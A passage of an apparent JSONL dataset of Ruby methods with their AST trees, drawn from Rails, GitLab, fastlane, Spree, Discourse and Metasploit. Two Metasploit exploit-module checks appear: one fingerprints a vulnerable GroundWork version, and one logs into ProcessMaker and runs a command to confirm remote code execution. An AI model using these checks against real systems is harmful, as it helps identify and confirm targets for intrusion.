children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HourlyRate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"usr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"permitted_projects\"]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"order\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HourlyRate\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".valid_from desc\"]}]}]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rates\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"projects_with_costs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rates\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rates_by_project\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rates\"]},\"[]=\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DefaultHourlyRate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"usr\"]}]}]}]},\"order\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DefaultHourlyRate\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".valid_from desc\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"rates\"]}]}]}","id":"5a9518d5-fac0-45d2-8aaa-852e446e2545"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":395,"raw_source":"def test_scoping_applies_to_reload_with_all_queries\n    Author.all.limit(5).update_all(organization_id: 1)\n\n    dev1 = Author.where(organization_id: 1).first\n\n    Author.where(organization_id: 1).scoping do\n      reload_sql = capture_sql { dev1.reload }.first\n      assert_no_match(/organization_id/, reload_sql)\n    end\n\n    Author.where(organization_id: 1).scoping(all_queries: true) do\n      scoped_reload_sql = capture_sql { dev1.reload }.first\n      assert_match(/organization_id/, scoped_reload_sql)\n    end\n  end","complexity_score":30.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scoping_applies_to_reload_with_all_queries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"all\"]},\"limit\",{\"type\":\"int\",\"children\":[5]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dev1\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"first\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reload_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev1\"]},\"reload\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"organization_id\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"reload_sql\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"scoping\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"all_queries\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scoped_reload_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev1\"]},\"reload\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"organization_id\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"scoped_reload_sql\"]}]}]}]}]}]}","id":"40e580e6-4f84-48c4-adf6-90f6298bd8d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/access.rb","start_line":223,"raw_source":"def human_access_with_none\n      Gitlab::Access.human_access_with_none(access_field)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"human_access_with_none\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"human_access_with_none\",{\"type\":\"send\",\"children\":[null,\"access_field\"]}]}]}","id":"6dec5f99-56ac-46ac-87d8-333c440aff60"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/itunes_transporter.rb","start_line":555,"raw_source":"def build_verify_command(username, password, source = \"/tmp\", provider_short_name = \"\", **kwargs)\n      jwt = kwargs[:jwt]\n      credential_params = build_credential_params(username, password, jwt, nil, is_default_itms_on_xcode_11?)\n      if is_default_itms_on_xcode_11?\n        [\n          (\"ITMS_TRANSPORTER_PASSWORD=#{password.shellescape}\" if jwt.to_s.empty?),\n          'xcrun iTMSTransporter',\n          '-m verify',\n          credential_params,\n          \"-f #{source.shellescape}\",\n          (\"-itc_provider #{provider_short_name}\" if jwt.nil? && !provider_short_name.to_s.empty?),\n          '2>&1' # cause stderr to be written to stdout\n        ].compact.join(' ') # compact gets rid of the possibly nil ENV value\n      else\n        [\n          Helper.transporter_java_executable_path.shellescape,\n          \"-Djava.ext.dirs=#{Helper.transporter_java_ext_dir.shellescape}\",\n          '-XX:NewSize=2m',\n          '-Xms32m',\n          '-Xmx1024m',\n          '-Xms1024m',\n          '-Djava.awt.headless=true',\n          '-Dsun.net.http.retryPost=false',\n          java_code_option,\n          '-m verify',\n          credential_params,\n          \"-f #{source.shellescape}\",\n          (\"-itc_provider #{provider_short_name}\" if jwt.nil? && !provider_short_name.to_s.empty?),\n          '2>&1' # cause stderr to be written to stdout\n        ].compact.join(' ') # compact gets rid of the possibly nil ENV value\n      end\n    end","complexity_score":51.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_verify_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]},{\"type\":\"optarg\",\"children\":[\"source\",{\"type\":\"str\",\"children\":[\"/tmp\"]}]},{\"type\":\"optarg\",\"children\":[\"provider_short_name\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jwt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"jwt\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_params\",{\"type\":\"send\",\"children\":[null,\"build_credential_params\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"jwt\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"is_default_itms_on_xcode_11?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_default_itms_on_xcode_11?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"to_s\"]},\"empty?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ITMS_TRANSPORTER_PASSWORD=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"shellescape\"]}]}]},null]}]},{\"type\":\"str\",\"children\":[\"xcrun iTMSTransporter\"]},{\"type\":\"str\",\"children\":[\"-m verify\"]},{\"type\":\"lvar\",\"children\":[\"credential_params\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-f \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"shellescape\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_short_name\"]},\"to_s\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-itc_provider \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_short_name\"]}]}]},null]}]},{\"type\":\"str\",\"children\":[\"2>&1\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"transporter_java_executable_path\"]},\"shellescape\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-Djava.ext.dirs=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"transporter_java_ext_dir\"]},\"shellescape\"]}]}]},{\"type\":\"str\",\"children\":[\"-XX:NewSize=2m\"]},{\"type\":\"str\",\"children\":[\"-Xms32m\"]},{\"type\":\"str\",\"children\":[\"-Xmx1024m\"]},{\"type\":\"str\",\"children\":[\"-Xms1024m\"]},{\"type\":\"str\",\"children\":[\"-Djava.awt.headless=true\"]},{\"type\":\"str\",\"children\":[\"-Dsun.net.http.retryPost=false\"]},{\"type\":\"send\",\"children\":[null,\"java_code_option\"]},{\"type\":\"str\",\"children\":[\"-m verify\"]},{\"type\":\"lvar\",\"children\":[\"credential_params\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-f \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"shellescape\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_short_name\"]},\"to_s\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-itc_provider \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_short_name\"]}]}]},null]}]},{\"type\":\"str\",\"children\":[\"2>&1\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}","id":"bd3af836-e3c8-4657-92f9-75d995a51ffc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/methods/metric_options.rb","start_line":7,"raw_source":"def initialize(options = {})\n          @multiprocess_mode = options[:multiprocess_mode] || :all\n          @buckets = options[:buckets] || ::Prometheus::Client::Histogram::DEFAULT_BUCKETS\n          @docstring = options[:docstring]\n          @with_feature = options[:with_feature]\n          @label_keys = options[:label_keys] || []\n        end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@multiprocess_mode\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"multiprocess_mode\"]}]},{\"type\":\"sym\",\"children\":[\"all\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@buckets\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"buckets\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Prometheus\"]},\"Client\"]},\"Histogram\"]},\"DEFAULT_BUCKETS\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@docstring\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"docstring\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@with_feature\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"with_feature\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@label_keys\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label_keys\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"92dca154-1df4-4de9-a9db-e5dc9e7b2a94"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/test_case_test.rb","start_line":60,"raw_source":"def test_assert_no_difference_with_message_fail\n    error = assert_raises(Minitest::Assertion) do\n      assert_no_difference \"@object.num\", \"Object Changed\" do\n        @object.increment\n      end\n    end\n    assert_equal \"Object Changed.\\n`@object.num` didn't change by 0, but by 1.\\nExpected: 0\\n  Actual: 1\", error.message\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_difference_with_message_fail\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_difference\",{\"type\":\"str\",\"children\":[\"@object.num\"]},{\"type\":\"str\",\"children\":[\"Object Changed\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"increment\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Object Changed.\\n`@object.num` didn't change by 0, but by 1.\\nExpected: 0\\n  Actual: 1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"62c2804d-afd3-4232-8200-77ac128ff522"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/exclusive_lease_guard.rb","start_line":56,"raw_source":"def release_lease(uuid)\n    Gitlab::ExclusiveLease.cancel(lease_key, uuid)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"release_lease\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ExclusiveLease\"]},\"cancel\",{\"type\":\"send\",\"children\":[null,\"lease_key\"]},{\"type\":\"lvar\",\"children\":[\"uuid\"]}]}]}","id":"c582d6f6-a42f-49d5-a073-b33f5fda2a76"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/orders/return_authorizations_controller.rb","start_line":95,"raw_source":"def permitted_resource_params\n          params.require(:return_authorization).permit(permitted_return_authorization_attributes)\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"return_authorization\"]}]},\"permit\",{\"type\":\"send\",\"children\":[null,\"permitted_return_authorization_attributes\"]}]}]}","id":"22b34db9-2887-444e-9f81-f1468ef5276f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/boards_controller.rb","start_line":32,"raw_source":"def authorize_read_board!\n    access_denied! unless can?(current_user, :read_issue_board, group)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_read_board!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_issue_board\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]},null,{\"type\":\"send\",\"children\":[null,\"access_denied!\"]}]}]}","id":"d32d7825-580c-4411-bc9b-1f14f8d80618"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/helpers/spree/admin/page_builder_helper.rb","start_line":82,"raw_source":"def all_linkable_pages\n        @all_linkable_pages ||= Spree::Page.\n                                without_previews.\n                                where(pageable: [@theme, current_store]).\n                                select(&:linkable?).\n                                map { |page| [page.display_name, page.id] }.sort_by(&:first)\n      end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"all_linkable_pages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@all_linkable_pages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Page\"]},\"without_previews\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pageable\"]},{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@theme\"]},{\"type\":\"send\",\"children\":[null,\"current_store\"]}]}]}]}]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"linkable?\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"display_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"id\"]}]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]}]}","id":"cd0f2da3-0f15-4ac3-9d0c-6a21c4308a95"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/configuring/check/general_configuration.rb","start_line":14,"raw_source":"def call\n            visitor = Visitor::Attribute.new\n            visitor.visit(app_config_tree)\n            visitor.attribute_map[APP_CONFIG_CONST][:attr_accessor]\n          end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"visitor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Visitor\"]},\"Attribute\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visitor\"]},\"visit\",{\"type\":\"send\",\"children\":[null,\"app_config_tree\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visitor\"]},\"attribute_map\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"APP_CONFIG_CONST\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"attr_accessor\"]}]}]}]}","id":"2c986614-9253-4507-b050-a3f2d869c5a0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/watched_word_list_serializer.rb","start_line":6,"raw_source":"def actions\n    if SiteSetting.tagging_enabled\n      WatchedWord.actions.keys\n    else\n      WatchedWord.actions.keys.filter { |k| k != :tag }\n    end\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tagging_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WatchedWord\"]},\"actions\"]},\"keys\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WatchedWord\"]},\"actions\"]},\"keys\"]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"tag\"]}]}]}]}]}","id":"3f6916f9-8e54-440a-bc35-cb05a06ec241"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb","start_line":72,"raw_source":"def check\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(\"josso\", \"signon\", \"login.do\")\n    })\n\n    if res and res.body =~ /GroundWork.*6\\.7\\.0/\n      return Exploit::CheckCode::Appears\n    elsif res and res.body =~ /GroundWork/\n      return Exploit::CheckCode::Detected\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"josso\"]},{\"type\":\"str\",\"children\":[\"signon\"]},{\"type\":\"str\",\"children\":[\"login.do\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"GroundWork.*6\\\\.7\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"GroundWork\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]}]}","id":"f6f4d5c2-0e2c-4d2f-beae-f29cb843a793"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/wordpress/uris.rb","start_line":37,"raw_source":"def wordpress_url_rdf\n    normalize_uri(target_uri.path, 'feed/rdf/')\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"wordpress_url_rdf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"feed/rdf/\"]}]}]}","id":"6decc26d-7907-47a1-9af5-41090d6fd359"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/processmaker_exec.rb","start_line":128,"raw_source":"def check\n    @workspace = datastore['WORKSPACE']\n\n    # login\n    @cookie = \"PHPSESSID=#{rand_text_alphanumeric(rand(10) + 10)};\"\n    unless login(datastore['USERNAME'], datastore['PASSWORD'])\n      return Exploit::CheckCode::Unknown\n    end\n\n    # send check\n    fingerprint = Rex::Text.rand_text_alphanumeric(rand(10) + 10)\n    vprint_status(\"Sending check\")\n    begin\n      res = execute_command(\"echo #{fingerprint}\")\n      if res and res.body =~ /#{fingerprint}/\n        return Exploit::CheckCode::Vulnerable\n      elsif res\n        return Exploit::CheckCode::Safe\n      end\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE\n      vprint_error(\"Connection failed\")\n      return Exploit::CheckCode::Unknown\n    end\n    Exploit::CheckCode::Safe\n  end","complexity_score":31.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@workspace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WORKSPACE\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookie\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PHPSESSID=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]